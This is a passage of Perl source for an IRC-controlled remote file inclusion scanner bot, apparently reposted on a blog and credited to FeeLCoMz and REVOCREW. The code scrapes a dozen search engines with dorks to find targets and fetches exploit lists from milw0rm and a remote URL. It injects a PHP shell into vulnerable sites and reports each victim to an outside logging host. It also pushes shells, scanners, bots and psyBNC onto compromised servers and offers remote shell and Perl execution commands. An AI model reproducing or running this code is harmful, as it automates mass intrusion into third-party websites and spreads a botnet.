  while ( $q =~ /<a class=\"navigation\" href="(.*?)\">/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/<a class=\"result-title\" href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  }
  return @daftar;
}
## MAMMA ##
sub se_mamma {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 10; my $p = 1;
  #my $url = "http://localhost/search/mamma.com.htm";
  my $url = "http://mamma.com/Mamma?utfout=1&query=".$key."&qtype=0&rpp=50&cb=Mamma&index=".$p;
  my $murl;
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /Search Results<\/b> .*? of (.*?) for/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"Mamma","$h");
  }
  if ( $q =~ /<a href=\"(.*?)\"><font color=#2A3383 face=verdana size=2>Next/ ) {
    my $h = $1; $h =~ s/,//g; msgn($dbgchan,"Mamma","$h");
  }
  while ( $q =~ m/http:\/\/(.*?)\<\/span>/g ) {
    my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $l); }
  }
  while ( $q =~ /<a href=\"(.*?)\"><font color=#2A3383 face=verdana size=2>Next/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/http:\/\/(.*?)\<\/span>/g ) {
      my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $l); }
    }
  }
  return @daftar;
}
## DMOZ ##
sub se_dmoz {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 20; my $max = 5000; my $p = 1;
  #my $url = "http://localhost/search/search.dmoz.org.htm";
  my $url = "http://search.dmoz.org/cgi-bin/search?search=".$key;
  my $murl = "http://search.dmoz.org/cgi-bin/";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /Open Directory Sites<\/b><\/font> \((.+?) of (.+?)\)/ ) {
    my $h = $2; $h =~ s/,//g; msgt($chan,"Dmoz","$h");
  }
  if ( $q =~ /<a href=\"(.*?)\">Next<\/a>\">/ ) {
      my $nxurl = $1; msgn($dbgchan,"Dmoz","$nxurl");
  }
  while ( $q =~ m/<li><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  while ( $q =~ /<a href=\"(.*?)\">Next<\/a>/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/<li><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  }
  return @daftar;
}
## VIRGILIO ##
sub se_virgilio {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 20; my $max = 2000; my $p = 0;
  my $url =  "http://ricerca.alice.it/ricerca?qs=".$key."filter=1&site=&lr=&hits=".$num."&offset=".$p;
  my $murl = "http://ricerca.alice.it/";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /<span>(.*?) risultati per <b>/ ) {
    my $h = $1; $h =~ s/,//g; $h =~ s/\.//g;
    msgt($chan,"Virgilio","$h");
  }
  if ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
      my $nxurl = $1; msgn($dbgchan,"Virgilio","$nxurl");
  }
  while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\" class/g ) { push (@daftar, $1); }
  while ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\" class/g ) { push (@daftar, $1); }
  }
  return @daftar;
}
## WEBDE ##
sub se_webde {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 1; my $max = 100; my $p;
  for ( $p = 0;$p <= $max; $p += $num ) {
    my $url = "http://suche.web.de/search/web/?pageIndex=".$p."&su=".$key."&y=0&x=0&mc=suche\@web\@navigation\@zahlen.suche\@web";
    my $q = bukasitus($url);
    while ( $q =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g ) { push (@daftar, $1); }
    if ( $q !~ /<span class=\"url\">http:\/\/(.*?)<\/span>/ ) { return @daftar; }
  }
  return @daftar;
}
## FIREBALL ##
sub se_fireball {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 1; my $max = 500; my $p;
  for ( $p = 0;$p <= $max; $p += $num ) {
    my $url = "http://suche.fireball.de/cgi-bin/pursuit?pag=".$p."&query=".$key."&cat=fb_web&enc=utf-8";
    my $q = bukasitus($url);
    while ( $q =~ m/<a href=\"http:\/\/(.*?)\" target/g ) { push (@daftar, $1); }
    if ( $q !~ /<a href=\"http:\/\/(.*?)\" target/ ) { return @daftar; }
    if ( $q =~ /ergab keine Treffer in Deutsche Seiten/ ) { return @daftar; }
  }
  return @daftar;
}
## HOTBOT ##
sub se_hotbot {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 1; my $max = 200; my $p;
  for ( $p = 0;$p <= $max; $p += $num ) {
    my $url = "http://www.hotbot.com/?query=".$key."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$p;
    my $q = bukasitus($url);
    while ( $q =~ m/<span class=\"grn\">http:\/\/(.+?)<\/span>/g ) {
      my $l = $1 ; if ($l !~ /hotbot/) { push (@daftar, $l); }
    }
    if ( $q !~ /<span class=\"grn\">http:\/\/(.+?)<\/span>/ ) { return @daftar; }
  }
  return @daftar;
}
## NETSCAPE (Ga pake) ##
sub se_netscape {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 1; my $max = 10; my $p;
  for ( $p = 0;$p <= $max; $p += $num ) {
    my $url = "http://search.netscape.com/search/search?query=".$key."&page=".$p."&y=0&x=0&st=webresults";
    my $q = bukasitus($url);
    while ( $q =~ m/url\">http:\/\/(.*?)<\/p>/g ) {
      my $l = $1 ; if ($l !~ /search.netscape/) { push (@daftar, $l); }
    }
    if ( $q !~ /url\">http:\/\/(.*?)<\/p>/ ) { return @daftar; }
  }
  return @daftar;
}
## WEBCRAWLER ##
sub se_webcrawler {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 500; my $p;
  for ( $p = 0;$p <= $max; $p++ ) {
    $num += $num;
    my $url = "http://www.webcrawler.com/webcrawler/ws/redir/qcat=Web/qkw=".$key."/qcoll=relevance/zoom=off/bepersistence=true/qi=".$num."/qk=50/page=".$p."/_iceUrlFlag=11?_IceUrl=true";
    my $q = bukasitus($url);
    while ( $q =~ m/status='http:\/\/(.*?)';/g ) {
      my $l = $1 ; if ($l !~ /webcrawler|google/) { push (@daftar, $l); }
    }
    if ( $q !~ /wsPagerNext/ ) { return @daftar; }
  }
  return @daftar;
}
## EUROSEEK ##
sub se_euroseek {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 10; my $max = 6000; my $p;
  for ( $p = 0;$p <= $max; $p+=$num ) {
    my $url = "http://euroseek.com/system/search.cgi?language=en&mode=internet&start=".$p."&string=".$key;
    my $q = bukasitus($url);
    while ( $q =~ m/<a href=\"http:\/\/(.+?)\" class=\"searchlinklink\">/g ) { push (@daftar, $1); }
    if ( $q !~ /Next/ ) { return @daftar; }
  }
  return @daftar;
}
## ABACHO ##
sub se_abacho {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 10; my $max = 1000; my $p = 0;
  for ( $p = 0;$p <= $max; $p += $num ) {
    my $url = "http://search.abacho.com/it/abacho.it/index.cfm?offset=".$p."&poffset=0&StartCounter=".$p."&q=".$key."&a=&b=&country=it&page=&d_html=&d_pdf=&d_msdoc=&d_xls=&d_ppt=&mesearchkey=&cluster=&coop=";
    my $q = bukasitus($url);
    while ( $q =~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g ) { push (@daftar, $1); }
    if ( $q !~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g ) { return @daftar; }
    if ( $q =~ /We didn't find any results matching your query/ ) { return @daftar; }
  }
  return @daftar;
}
## END OF RUTIN SEARCH ENGINE ##

##[ BUG JOOMLA ]##
sub bugjoomla {
  my $mode = $_[0];
  my @bugz;
  system("lwp-download ".$joomlaz);
  system("curl -O ".$joomlaz);
  system("wget ".$joomlaz);
  open(FILE,"< joomla.txt");
  if ($mode eq "hitung") {
    my $baris = 0; my $buff;
    while (sysread FILE, $buff, 4096) { $baris += ($buff =~ tr/\n//); }
    close FILE;
    f_hapus("joomla.txt*");
    return $baris;
  }
  else {
    while ( my $r = <FILE> ) { $r =~ s/\n//g; push(@bugz,$r); }
    close(FILE);
    f_hapus("joomla.txt*");
    return @bugz;
  }
}

##[ MILW0RM ]##
sub milw0rm {
  my ($chan,$key) = @_;
  my $max = 10; my $i;
  #my $q = bukasitus("http://localhost/milw0rm_rfi.htm");
  my $q = bukasitus("http://milw0rm.com/search.php?dong=".urlen($key));
  irc_msg($chan," [milw0rm.com]9 $key ");
  while ( $q =~ m/<a href=\"\/exploits\/(.*?)\" target=\"_blank\" class=\"style14\">(.*?)<\/a>/g ) {
    $i++;
    my ($exp,$judul) = ($1,$2);
    irc_msg($chan,$colz{1}." $judul http://milw0rm.com/exploits/$exp ");
    sleep(1);
    return if ($i == $max);
  }
}

##[ BERSIH DORK ]##
sub bersihdork {
  my ($chan,$dork) = @_;
  if ( $dork =~ /inurl:|allinurl:|intext:|allintext:|intitle:|allintitle:/ ) {
    irc_msg($chan,$colz{1}." TAK CEK DLU YO.. ");
    $dork =~ s/^inurl://g;
    $dork =~ s/^allinurl://g;
    $dork =~ s/^intext://g;
    $dork =~ s/^allintext://g;
    $dork =~ s/^intitle://g;
    $dork =~ s/^allintitle://g;
  }
  return $dork;
}

##[ SORTIR LINK ]##
sub lnk_sortir {
  my @unik = ();
  my %ada  = ();
  foreach my $e ( @_ ) {
    next if $ada{ $e }++;
    push (@unik, $e);
  }
  return @unik;
}

##[ SARING LINK ]##
sub lnk_filter {
  my @unik = ();
  foreach my $url ( @_ ) {
    my $jelek = 0;
    foreach my $b ( @badlinkz ) {
      if ($url =~ /$b/) { $jelek = 1; }
    }
    if ($jelek == 0) { push (@unik, $url); }
  }
  return @unik;
}

##[ SUBLINK ]##
sub lnk_sub {
  my $link = $_[0];
  my (@links,$path);
  my ($host,@paths) = split(/\//,$link);
  $host .= "/";
  push (@links,$host);
  foreach my $e (@paths) {
    if ($e) {
      $path .= $e."/";
      my $sublink = $host.$path;
      push (@links,$sublink);
     }
  }
  return @links;
}

##[ INFO OS ]##
sub info_os {
  my $url = $_[0];
  my @info;
  my $h  = bukasitus($url.$fx29id2."??");
  my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
  while ( $h =~ m/<br>SAFE: (.+?)<br>/g ) { $safe = $1; }
  while ( $h =~ m/<br>OS: (.+?)<br>/g ) { $os = $1; }
  while ( $h =~ m/<br>UNAME: (.+?)<br>/g ) { $uname = $1; }
  while ( $h =~ m/<br>SERVER: (.+?)<br>/g ) { $server = $1; }
  while ( $h =~ m/<br>USER: (.+?)<br>/g ) { $user = $1; }
  while ( $h =~ m/<br>UID: (.+?)<br>/g ) { $uid = $1; }
  while ( $h =~ m/<br>DIR: (.+?)<br>/g ) { $dir = $1; }
  while ( $h =~ m/<br>PERM: (.+?)<br>/g ) { $perm = $1; }
  while ( $h =~ m/<br>HDD: (.+?)<br>/g ) { $hdd = $1; }
  while ( $h =~ m/<br>DISFUNC: (.+?)<br>/g ) { $disfunc = $1; }
  push (@info,$safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
  return @info;
}

##[ SAFEMODE INFO ]##
sub safemode {
  my ($type,$chan,$situs,$bug,$engine) = @_;
  my $safemode; my $vurn; my $sb; my $spreaded;
  if ($type == 1) { $vurn = "http://".$situs.$bug; $sb = $vurn."".$fx29sh."?"; }
  else { $vurn = $situs; $sb = $vurn; }
  my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc) = info_os($vurn);
  if ($safe =~ /OFF/) { $safemode = "OFF"; } elsif ($safe =~ /ON/) { $safemode ="ON"; } else { $safemode ="0-"; }
  if ($disfunc) { $disfunc = "[Disfunc]0[7 $disfunc 0]"; } else { $disfunc = ""; }
  if ($perm =~/W/) { $perm = "$perm"; } else { $perm = "$perm"; }
  my $S1 = " [".$safemode."][$os]0[ $sb 0]";
  my $S2 = " [Uname]0[ $uname ] [User]0[ $user / $uid ] [Server]0[ $server ] ";
  my $S3 = " [Dir]0[ $dir $perm 0] [HDD]0[0 $hdd 0] $disfunc ";
  if ($type == 1) {
    irc_msg($chanx,$S1); irc_msg($chanx,$S2); irc_msg($chanx,$S3);
    ##[ SPREADING ]##
    bukasitus("http://uaedesign.com/xml/logz/loggerz.php?&safe=".$safe."&teks=".urlen($vurn));
    if ($spreadconf{shellz} == 1) {
      my $q = bukasitus($vurn.$spread."?&modez=shellz");
      if ($q =~ /Writed to (.+?)!/) { irc_msg($chanx,"9,1 [Shell]0[ $1 0] "); }
      $spreaded = "shellz ";
    }
    if ($spreadconf{scannerz} == 1) {
      bukasitus($vurn.$spread."?&modez=scannerz");
      $spreaded .= "scannerz ";
    }
    if ($spreadconf{botz} == 1) {
      bukasitus($vurn.$spread."?&modez=botz");
      $spreaded .= "botz ";
    }
    if ($spreadconf{psybnc} == 1) {
      bukasitus($vurn.$spread."?&modez=psybnc");
      $spreaded .= "psybnc ";
    }
    irc_msg($chanx," [Spreadz]0[ $spreaded 0] ");
    sleep($conf{sleepz});
    irc_msg($chan,$colz{3}.$engine.$colz{4}) if ($engine);
  }
  irc_msg($chan,$S1); irc_msg($chan,$S2); irc_msg($chan,$S3);
}

##[ CEK SHELL ]##
sub cek_shell {
  my ($chan,$nick,$situs) = @_;
  my $q = bukasitus($situs.$fx29id."?");
  print $q;
  if ( $q =~ /FeeLCoMz/ ) { safemode(2,$chan,$situs,"",""); }
  else { irc_msg($chan,$nick.", WEW JELEK BENER!!!"); }
}

##[ CEK RESPON ]##
sub cek_respon {
  my $chan = $_[0];
  my ($q1,$q2,$q3) = (bukasitus($fx29id),bukasitus($fx29id2),bukasitus($fx29sh));
  my ($rid,$rid2,$rsh,$stat);
  if ( $q1 =~ /Fx29ID/ ) { $rid = "0,1MANTAP"; $stat = 1; } else { $rid = "0,1JELEK!"; $stat = 0; }
  if ( $q2 =~ /Fx29ID/ ) { $rid2 = "0,1MANTAP"; $stat += 1; } else { $rid2 = "0,1JELEK!"; $stat += 0; }
  if ( $q3 =~ /FaTaLisTiCz_Fx/ ) { $rsh = "0,1MANTAP"; } else { $rsh = "0,1JELEK!"; }
  irc_msg($chan,$colz{1}."Fx29ID: $rid 7Fx29ID2: $rid2 7Fx29Sh: $rsh".$colz{2});
  return $stat;
}

##[ CEK DORK ]##
sub cek_dork {
  my $dork = $_[0];
  foreach my $d (@baddorkz) { if ($dork =~ /$d/) { return 1; } }
  return 0;
}

##[ CEK BUG ]##
sub cek_bug {
  my $bug = $_[0];
  foreach my $b (@badbugz) { if ($bug =~ /$b/) { return 1; } }
  return 0;
}

##[ RUTIN PENANGANAN FILE ]##
sub f_hapus { my $file = $_[0]; system("rm $file"); }
sub f_simpan {
  my ($nf,$hc) = @_;
  my $fh;
  open( $fh, ">>", $nf );
  my @slink = lnk_sub($hc);
  foreach my $s (@slink) { print $fh "$s\n"; }
  close $fh;
}
sub f_simpan2 {
  my ($nf,$isi) = @_;
  my $fh;
  open( $fh, ">", $nf ); print $fh "$isi\n"; close $fh;
}
sub f_simpan2b {
  my ($nf,$isi) = @_;
  my $fh;
  open( $fh, ">>", $nf ); print $fh "$isi\n"; close $fh;
}

##[ HTTP QUERY ]##
sub bukasitus {
  my $url = $_[0];
  my $request = HTTP::Request->new(GET => $url);
  my $ua  = LWP::UserAgent->new;
  $ua->timeout($conf{timeout});
  $ua->agent('Mozilla/5.0');
  my $response = $ua->request($request);
  if ($response->is_success) { return $response->content; }
  else { return $response->status_line; }
}
sub bukasitus2 {
  my $url = $_[0];
  my $ua  = LWP::UserAgent->new;
  $ua->timeout($conf{timeout});
  $ua->agent('Mozilla/5.0');
  my $response = $ua->get($url);
  if ($response->is_success) { return $response->content; }
  else { return $response->status_line; }
}
sub bukasitus3 {
  my $url = $_[0];
  my $host  = $url;
  my $query = $url;
  my $isi; my $kirim;
  my $uagent  = "Mozilla/5.0";
  $host  =~ s/http:\/\/([-a-zA-Z0-9\.]+)\/.*/$1/;
  $query =~ s/$host//;
  eval {
    my $sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || return;
    $kirim = "GET ".$query." HTTP/1.1\r\nHost: ".$host."\r\nAccept: */*\r\nUser-Agent: ".$uagent."\r\n\r\n";
    print $sock $kirim;
    my @r = <$sock>;
    $isi = "@r";
    close($sock);
  };
  return $isi;
}

##[ ENCODE/DECODE ]##
sub htmltourl { my $str = $_[0]; $str =~ s/&amp;/&/g; return $str; }
sub urlen {
  my $str = $_[0];
  #$str =~ s/\+/\%2B/g;
  $str =~ s/ /\+/g;
  $str =~ s/@/\%40/g;
  $str =~ s/\//\%2F/g;
  $str =~ s/&/\%26/g;
  $str =~ s/\"/\%22/g;
  $str =~ s/,/\%2C/g;
  $str =~ s/\\/\%5C/g;
  $str =~ s/:/\%3A/g;
  $str =~ s/\[/\%5B/g;
  $str =~ s/\]/\%5D/g;
  $str =~ s/\?/\%3F/g;
  $str =~ s/\=/\%3D/g;
  $str =~ s/\|/\%7C/g;
  return $str;
}
sub urlde {
  my $str = $_[0];
  $str =~ s/\+/ /g;
  $str =~ s/\%2B/\+/g;
  $str =~ s/\%40/@/g;
  $str =~ s/\%2E/\./g;
  $str =~ s/\%2F/\//g;
  $str =~ s/\%26/&/g;
  $str =~ s/\%22/\"/g;
  $str =~ s/\%2C/,/g;
  $str =~ s/\%5C/\\/g;
  $str =~ s/\%3A/:/g;
  $str =~ s/\%5[B|b]/\[/g;
  $str =~ s/\%5[D|d]/\]/g;
  $str =~ s/\%3F/\?/g;
  $str =~ s/\%3D/\=/g;
  $str =~ s/\%7C/\|/g;
  return $str;
}
sub cryptz { return crypt($_[0],"feelcomz"); }

##[ TRIMMER CRLF ]##
sub trimrn {
  my $str = $_[0];
  if (!$str) { return ""; }
  $str =~ s/\r// if ($str);
  $str =~ s/\n//;
  return $str;
}

##[ INFO BOT ]##
sub bot_info   {
  my $chan   = $_[0];
  my $hlogo  = "0,1 [i]9 ";
  my $uname  = `uname -a`;
  my $uid    = `id`;
  my $uptime = `uptime`;
  my @info   = (
  $hlogo."revo Scanner ",
  $hlogo."Written under 0,1ActivePerl 5.8.8 Build 820 9by 11,1REVOCREW (REVOCREW Community) ",
  $hlogo."Uname:0 $uname ",
  $hlogo."Uid:0 $uid ",
  $hlogo."Uptime:0 $uptime ",
  );
  foreach my $m(@info) { irc_msg($chan,$m); }
}

##[ HELP BOT ]##
sub bot_help {
  my ($chan,$level) = @_;
  my $hsepz = "0,1 [!] ";
  my $hlogo = "0,1 [!] ".$cmdpre;
  my @help; my $i;
  my @hlp1 = (
  $hsepz."EMPIXCREW REVO Scanner $versi Help ",
  $hlogo."scan|scan2 <bug> <dork> 0? Memulai eNCUkAn | scanner & Eksploit RFI ",
  $hlogo."milw0rm <keywords> 0? Mencari daftar bug di milw0rm ",
  $hlogo."respon 0? Cek Respon & Injector RFI ",
  $hlogo."urlen|urlde <teks> 0? Encoder/Decoder URL ",
  $hlogo."cek <target> 0? Cek RFI shell ",
  $hlogo."info 0? Informasi bot ",
  $hlogo."auth <password> 0? Login ke bot ",
  );
  my @hlp2 = (
  $hsepz."User Commands: ",
  $hlogo."joomla <bug> <dork> 0,1? Memulai scanner & Eksploit RFI Joomla ",
  $hlogo."hitung <jumlah> 0,1? Mengganti hitungan proses eksploitasi ",
  $hlogo."cryptz <password> 0,1? Membuat password yg terenkripsi ",
  $hlogo."join|part <channel> 0,1? Join/Part channel ",
  $hlogo."nick <nick> 0? Ganti nick bot ",
  $hlogo."logout 0?15 Logout dari bot ",
  );
  my @hlp3 = (
  $hsepz."Admin Commands: ",
  $hlogo."crespon[1/2]|cshell|cspread <url> 0? Mengganti respon/injector/spread/spread2 RFI ",
  $hlogo."rfipid <perintah> 0,1? Mengganti RFI PID ",
  $hlogo."spy 0? Menampilkan konfigurasi Spy ",
  $hlogo."spyhost <your chan> 0,1? Channel host buat spy ",
  $hlogo."spychan <chan> 0,1? Channel yang akan di spy ",
  $hlogo."spyword <regex> 0,1? Teks yg akan di spy ",
  $hlogo."spy[found|show|clear] 0,1? Jumlah/Tampilkan/Bersihkan teks yg telah ditemukan ",
  $hlogo."raw <perintah> 0,1? Perintah Raw IRC ",
  $hlogo."cmd <perintah shell> 0,1? Mengeksekusi perintah di shell ",
  $hlogo."eval <kode perl> 0,1? Mengeksekusi kode perl ",
  $hlogo."quit 0,1? Quit dari IRC ",
  $hlogo."keluar 0,1? Quit dari IRC & Matikan semua proses Perl (killall)",
  );
  if    ( $level == 1 ) { push(@help, @hlp1); }
  elsif ( $level == 2 ) { push(@help,@hlp2); }
  elsif ( $level == 3 ) { push(@help,@hlp3); }
  foreach my $m (@help) { irc_msg($chan,$m); $i++; if ( $i % $conf{linez} == 0 ) { sleep($conf{sleepz}); } }
}

##[ CUSTOM MESSAGE ]##
sub msge { my ($chan,$se,$res) = @_; irc_msg($chan," ".$se." ".$res." "); }
sub msgi { my ($chan,$judul,$info) = @_; irc_msg($chan," [$judul] $info "); }
sub msgn { my ($chan,$se,$nxurl) = @_; irc_msg($chan," ".$se." ".$nxurl." "); }
sub msgr { my ($chan,$se,$totr,$clr) = @_; irc_msg($chan," ".$se." ".$totr."0 ".$clr." "); }
sub msgt { my ($chan,$se,$res) = @_; irc_msg($chan," ".$se." ".$res." "); }
sub ntci { my ($chan,$judul,$info) = @_; irc_ntc($chan," [$judul] $info "); }

##[ PERINTAH RAW IRC ]##
sub irc_raw  { my $data = $_[0]; print $sock "$data\r\n"; }
sub irc_nick { my $nick = $_[0]; irc_raw("NICK $nick"); }
sub irc_user { my $ident = $_[0]; irc_raw("USER $ident localhost * :empixcrew$versi ENCUK      "); }
sub irc_msg  { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :$psn"); }
sub irc_act  { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :ACTION $psn"); }
sub irc_ntc  { my ($to,$psn) = @_; irc_raw("NOTICE $to :$psn"); }
sub irc_join { my $to = $_[0]; irc_raw("JOIN $to"); }
sub irc_part { my $to = $_[0]; irc_raw("PART $to"); }
sub irc_quit { my $psn = $_[0]; irc_raw("QUIT :$psn"); exit; }

##########################
##[ FeeLCoMz Community ]##
##########################

'webhxxx > RFI bot' 카테고리의 다른 글

FeeLCoMz RFI Scanner Bot v5.3  (0) 2010.04.18
fx29sh 3.3.03.09  (0) 2010.04.18
RFI Bot 재현  (0) 2010.04.18
Fx29spreadz  (0) 2010.03.06
irc서버올리기  (0) 2010.03.04
Posted by applicationlayer
: